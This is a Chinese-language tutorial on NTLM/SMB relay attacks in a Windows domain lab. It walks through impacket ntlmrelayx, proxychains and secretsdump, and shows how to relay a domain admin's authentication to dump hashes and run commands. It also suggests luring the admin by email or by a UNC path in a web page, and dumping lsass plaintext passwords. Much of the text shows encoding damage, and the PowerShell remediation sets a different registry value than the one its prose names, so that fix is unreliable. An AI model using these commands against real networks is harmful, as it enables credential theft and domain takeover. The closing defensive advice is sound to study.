前言
smb中繼或叫smb請(qǐng)求重放攻擊,B是一個(gè)smb服務(wù)器,A來(lái)進(jìn)行認(rèn)證,B將A的認(rèn)證信息轉(zhuǎn)發(fā)到C上,如果A的憑證在C上認(rèn)證成功就能進(jìn)行下一步操作,如創(chuàng)建服務(wù)執(zhí)行命令。如果在域中控制了某些常用服務(wù),如:WEB OA系統(tǒng)、文件共享等服務(wù)則可以嘗試使用SMB中繼攻擊來(lái)引誘域管理員訪問(wèn)達(dá)到獲取其他機(jī)器權(quán)限的目的。

環(huán)境
192.168.123.10 win 7 域管理員(administrator)機(jī)器
192.168.123.11 kali linux 攻擊者機(jī)器
192.168.123.100 域內(nèi)普通用戶-受害者機(jī)器
攻擊演示
需要smb簽名關(guān)閉下才能進(jìn)行利用,只有windows server的smb簽名是默認(rèn)開啟的,像Windows 7的簽名默認(rèn)關(guān)閉
可以用nmap探測(cè)smb是否關(guān)閉
nmap --script smb-security-mode.nse -p445 192.168.123.0/24 --open

下載impacket工具包
git clone https://github.com/CoreSecurity/impacket.git
192.168.123.11(攻擊者機(jī)器) 執(zhí)行
ntlmrelayx.py -tf hosts.txt -socks -smb2support
hosts.txt里面的內(nèi)容是要進(jìn)行中繼的IP,機(jī)器越多成功率越高,我這里只有一個(gè)IP

然后讓192.168.123.10(域管理員機(jī)器) 訪問(wèn)192.168.123.11(攻擊者機(jī)器)的共享,可以架設(shè)一個(gè)web服務(wù)器,html頁(yè)面里嵌入\\攻擊者地址,我這里為了方便演示就在本地寫一個(gè)html

192.168.123.10(域管理員機(jī)器)訪問(wèn)共享時(shí),提示如下說(shuō)明中繼成功

[*] Authenticating against smb://192.168.123.100 as Z3R0\Administrator SUCCEED [*] SOCKS: Adding Z3R0/ADMINISTRATOR@192.168.123.100(445) to active SOCKS connection. Enjoy
然后在本地會(huì)創(chuàng)建一個(gè)socks4代理
在 /etc/proxychains.conf 的最后一行填入
socks4 192.168.123.11 1080
配置好socks4代理后攻擊者執(zhí)行
proxychains python secretsdump.py z3r0/Administrator@192.168.123.100
這樣secretsdump.py發(fā)送出的認(rèn)證數(shù)據(jù)包經(jīng)過(guò)socks4代理中繼就能成功進(jìn)行認(rèn)證

如果不加上其他參數(shù)的話ntlmrelayx.py默認(rèn)會(huì)dumphash

先看看視頻效果圖
上傳時(shí) freebuf提示圖片超出大小限制(希望小編能處理下:) ),效果圖地址:/article/UploadPic/2018-7/2018710164730287.gif
原理分析
每一步smb請(qǐng)求都被192.168.123.11(攻擊者機(jī)器)轉(zhuǎn)發(fā)到了其他機(jī)器上

1. 192.168.123.10(域管理員機(jī)器)向192.168.123.11(攻擊者機(jī)器)商量smb協(xié)議版本

2. 192.168.123.11(攻擊者機(jī)器)向192.168.123.100(受害者機(jī)器)商量smb協(xié)議版本
3.192.168.123.100(受害者機(jī)器)向192.168.123.11(攻擊者機(jī)器)回答支持smb v2

4.192.168.123.11(攻擊者機(jī)器)向192.168.123.10(域管理員機(jī)器)回答支持smb v2
協(xié)商完就開始認(rèn)證了

1.192.168.123.10(域管理員機(jī)器)向192.168.123.11(攻擊者機(jī)器)發(fā)出NTLMSSP_NEGOTIATE認(rèn)證協(xié)商請(qǐng)求
2.192.168.123.11(攻擊者機(jī)器)向192.168.123.100(受害者機(jī)器)發(fā)出NTLMSSP_NEGOTIATE認(rèn)證協(xié)商請(qǐng)求
3.192.168.123.100(受害者機(jī)器)向192.168.123.11(攻擊者機(jī)器)進(jìn)行響應(yīng),響應(yīng)包里含有challenge

4.同樣192.168.123.11(攻擊者機(jī)器)向192.168.123.10(域管理員機(jī)器)進(jìn)行響應(yīng),響應(yīng)包里含有challenge5.192.168.123.10(域管理員機(jī)器)收到challenge后用hash將challenge加密,作為NTLM Response字段發(fā)送給192.168.123.11(攻擊者機(jī)器)

6.同樣,192.168.123.11(攻擊者機(jī)器)將域管理員的認(rèn)證請(qǐng)求也發(fā)往192.168.123.100(受害者機(jī)器)

在響應(yīng)包中可以看到已經(jīng)認(rèn)證成功了

有了管理員權(quán)限就能為所欲為了

因?yàn)闆](méi)有目標(biāo)機(jī)器密碼所以不能進(jìn)行正常的smb認(rèn)證,ntlmrelayx腳本的socks4代理作用就是處理本地發(fā)往192.168.123.100 (受害者機(jī)器)流量起一個(gè)中繼作用,因?yàn)橐呀?jīng)認(rèn)證過(guò)了就不用再進(jìn)行認(rèn)證,密碼隨便填一個(gè)就行,使用socks4代理時(shí)的smb的身份認(rèn)證是域管理員。
可以通過(guò)創(chuàng)建服務(wù)來(lái)執(zhí)行命令,當(dāng)然ntlmrelayx.py也可以做到.
python ntlmrelayx.py -tf hosts.txt -c 'cmexe /c calc.exe'

當(dāng)192.168.123.10(域管理員機(jī)器)再次訪問(wèn)共享時(shí),192.168.123.100(受害者機(jī)器)上可以看到calc已經(jīng)運(yùn)行了

總結(jié)
1.可以通過(guò)給域管理員發(fā)送郵件的方式來(lái)讓他觸發(fā)smb請(qǐng)求
2.當(dāng)然如果域管理員觸發(fā)了smb中繼請(qǐng)求了也可以針對(duì)他所在那一臺(tái)機(jī)器做中繼,這樣就能執(zhí)行命令抓lsass.exe進(jìn)程中的明文密碼了
修復(fù)建議
將注冊(cè)表項(xiàng)”RequireSecuritySignature”設(shè)置為 1 可以啟用 SMB 簽名
powershell執(zhí)行
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" RequireSecureNegotiate -Value 1 –Force
|